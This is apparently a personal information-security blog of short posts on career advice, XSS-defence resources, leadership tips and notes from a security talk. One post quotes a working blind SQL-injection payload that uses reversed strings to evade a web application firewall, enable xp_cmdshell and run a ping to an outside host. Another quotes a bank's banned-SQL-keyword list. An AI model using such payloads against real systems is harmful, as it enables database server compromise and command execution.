Advice for information security professioals

http://preachsecurity.blogspot.com/2010/04/infosec-career-advice.html
has some valid suggestions for information security professional

"If you want to contribute meaningfully to the Information Security field - go do something else first... business analyst risk analyst project manager, developer...anything! Learn how the business works, learn what keeps you employed - learn how your company and business makes money."

You probably already get the technology - but can you tell me how it applies to what the business does?"

Yes. Technology can only be embraced by business if it can either save money or make money. No matter how smart you are or how technical savvy you are, you need to convince business to buy in security.

The funny way to prevent SQL injection

The funny way to prevent SQL injection from Sacramento Credit Union:

Why are the Security Questions used?
The first time you login and enroll in Protection Plus, you will be asked to enter five Security Questions and corresponding answers. The Security Questions are used if you do not want to register the computer you are currently using. With the Security Questions, we can make sure it is you logging in when you use different computers, such as, a internet bar computer.

The answers to your Security Questions are case sensitive and cannot contain special characters like an apostrophe, or the words “insert,” “delete,” “drop,” “update,” “null,” or “select.”

Why can’t I use certain words like "drop" as part of my Security Question answers? There are certain words used by hackers to try to gain access to systems and manipulate data; therefore, the following words are restricted: "select," "delete," "update," "insert," "drop" and "null".

Google cache can be found at http://webcache.googleusercontent.com/search?q=cache%3A6LhOOjbpBVEJ%3Ahttps%3A%2F%2Fhomebank.sactocu.org%2FUA2004%2Ffaq-mfa.htm%2Bsactocu%2Bdrop%2Bselect&cd=1&hl=de&ct=clnk&client=ubuntu

They must forget to add shutdown, alter into the list.

Some links for XSS

Cross-Site Scripting (XSS) from OWASP

http://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29



XSS Prevention Cheat Sheet from OWASP

http://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet





Download link for Anti-XSS library V3.1

http://www.microsoft.com/downloads/details.aspx?FamilyId=051ee83c-5ccf-48ed-8463-02f56a6bfc09&displaylang=en

It comes with Sample code and Help file.





Additional resources about Anti-XSS library

Some FAQ questions about Anti-XSS library:

http://msdn.microsoft.com/en-us/security/aa973814.aspx



HTML Sanitization in Anti-XSS Library:

http://blogs.msdn.com/securitytools/archive/2009/09/01/html-sanitization-in-anti-xss-library.aspx



Difference between Anti-XSS library and HttpUtility.HtmlEncode

http://blogs.msdn.com/securitytools/archive/2009/07/09/differences-between-antixss-htmlencode-and-httputility-htmlencode-methods.aspx

The list of controls which automatically encode:
http://blogs.msdn.com/cisg/archive/2008/09/17/which-asp-net-controls-need-html-encoding.aspx.

http://blogs.msdn.com/sfaust/attachment/8918996.ashx

Treasure hunting contest

http://twitpic.com/18bf61

An interesting blog about reverse blind SQL injection

An interesting blog about reverse blind SQL injection



The application is subject to Blind SQL injection and the company is deploying both web application firewalls and network intrusion Prevention System. It seems that the web application firewall does an excellent job at staying current with the latest methods for bypassing Web Application Firewall technologies.



However, the backward attack is working. Most SQL databases support a reverse function. Here is the attack

var=1';DECLARE @a varchar(200) DECLARE @b varchar(200) DECLARE @c varchar(200) SET @a = REVERSE ('1 ,"snoitpo decnavda wohs" erugifnoc_ps.obd.retsam') EXEC (@a) RECONFIGURE SET @b = REVERSE ('1,"llehsdmc_px" erugifnoc_ps.obd.retsam') EXEC (@a) RECONFIGURE SET @c =REVERSE('"moc.dragarten gnip" llehsdmc_px') EXEC (@c);--





http://snosoft.blogspot.com/2010/05/reversenoitcejni-lqs-dnilb-bank-hacking.html

How to become a good leader?

From http://www.scouting.org/scoutsource/BoyScouts/PatrolLeader/s8.aspx

It is amazing that how simple and truthful these tips are:

1. Keep your Word. Don't make promises you can't keep.
   
2. Be Fair to All. A good leader shows no favorites. Don't allow friendships to keep you from being fair to all members of your patrol. Know who likes to what, and assign duties to patrol members by what they like to do.
   
3. Be a Good Communicator. Yo don't need a commanding voice to be a good leader, but you must be willing to step out front with an effective "let's go." A good leader knows how to get and give information so that everyone understands what's going on.
4. Be Flexible. Everything does not always go as planned. Be prepared to shift to "plan B" when "plan A" does not work.
   
5. Be organized. The time you spend planing will be repaid many times over. At patrol meetings, record who agrees to do each task, and fill out the duty roster before going camping.
6. Delegate. Some leaders assume that the job will not get done unless they do it themselves. Most people like to be challenged with a task. Empower your patrol members to do things they have never tried.
   
7. Set an Example. The most important thing you can do is lead by example. Whatever you do, your patrol members are likely to do the same. A cheerful attitude can keep everyone's spirits up.
8. Be Consistent. Nothing is more confusing than a leader who is one way one moment and another way a short time later. If your patrol knows what to expect from you, they will more likely respond positively to your leadership.
9. Give Praise. The best way to get credit is to give it away. Often a "Nice job" is all the praise necessary to make a Scout feel he is contributing to the efforts of the patrol.
10. Ask for Help. Don't be embarrassed to ask for help. You have many resources at your disposal. When confronted with a situation you don't know how to handle, ask someone with more experience for some advice and direction.

Reflection over "How to implement effective security" of Dr.Cole

Dr.Cole's presentation is great. His approaches sound reasonable and practical. Here is his ways to implement effective security:

1) Fully understand your assets. As a security professionals, we should know what we are protecting. Although this seems to be an obvious question, it is a very difficult. Ask yourself this question "what's most important data within my organization? What are five most important business processes dealing with the data?"

2) Reduce the number of vulnerabilities of the systems. The threats are mutating every minute, it is so difficult to catch with bad guys. It is more worthwhile to spend time and efforts reducing attack surface. His idea of "airline security models" is great. It is almost impossible to protect thousands of different machines within one organization. However, the task is easier if the number of different machines is reduced to less than ten. Coupled with strict change management process, we can make the task really manageable.

3)Pay more attention to insider attack. The statistics show that the number of insider attacks almost equal the number of outside attacks. However, only 20% of money and efforts are spent on defense against insider attacks. There are general two types of insider attackers: malicious insiders and unintentional attackers. Malicious insiders intend to harm your organization driven by different factors such as money, revenge, etc. Unintentional attackers are victims who helped bad guys without even knowing what's going on. It might be an employee who clicked a malicious link of within a spear phishing email. Or it might be a help desk technician who happily assist a "so-called" manager on vacation to reset his/her password so that he/she can get some urgent tasks finished. Or, it might be just a customer service representative who is helping his customer using an vulnerable Intranet application which read malicious payload dropped by bad guys. The list goes on and on. The castle can be easily broken down from inside. However, people seem to be reluctant to trust insiders more since we are working for the same company. This is fine. In fact, most organization encourage employee socialization to boost productivity. However, we should also educate the employees about the insider risks and deploy defenses.

4) Correlation, correlation and correlation. The attacks are become more sophisticated as the systems are evolving too. How to detect multiple stage attack? How to detect encrypted payload? The solution is "correlation". Individual events might not be so interesting. But they might suggest something really bad is happening if correlated together. Here is Dr. Cole's example:

• download some content from a unsafe website
• Untrusted programs runs
• Something is changing registry and system files
• the machine talks to strange outside servers
• huge amount of data is transferred outside

Putting everything together, it is a classic example of phishing attack with malware targeting to steal data.

5) Pay more attention to outbound traffic. The goal of the attacker is "making money". They want your sensitive data or finding other ways to make money for themselves. Stealing your data is one of most common ways to get them rich. The impact is more serious than denial of service attacks. The data needs to be transferred out of your organization. Pay attention to those outbound connections:

• Connection using IP address or dynamic DNS
• Long live connection
• connection with large amount of traffic

6) Detection is key.

7) Automation is must.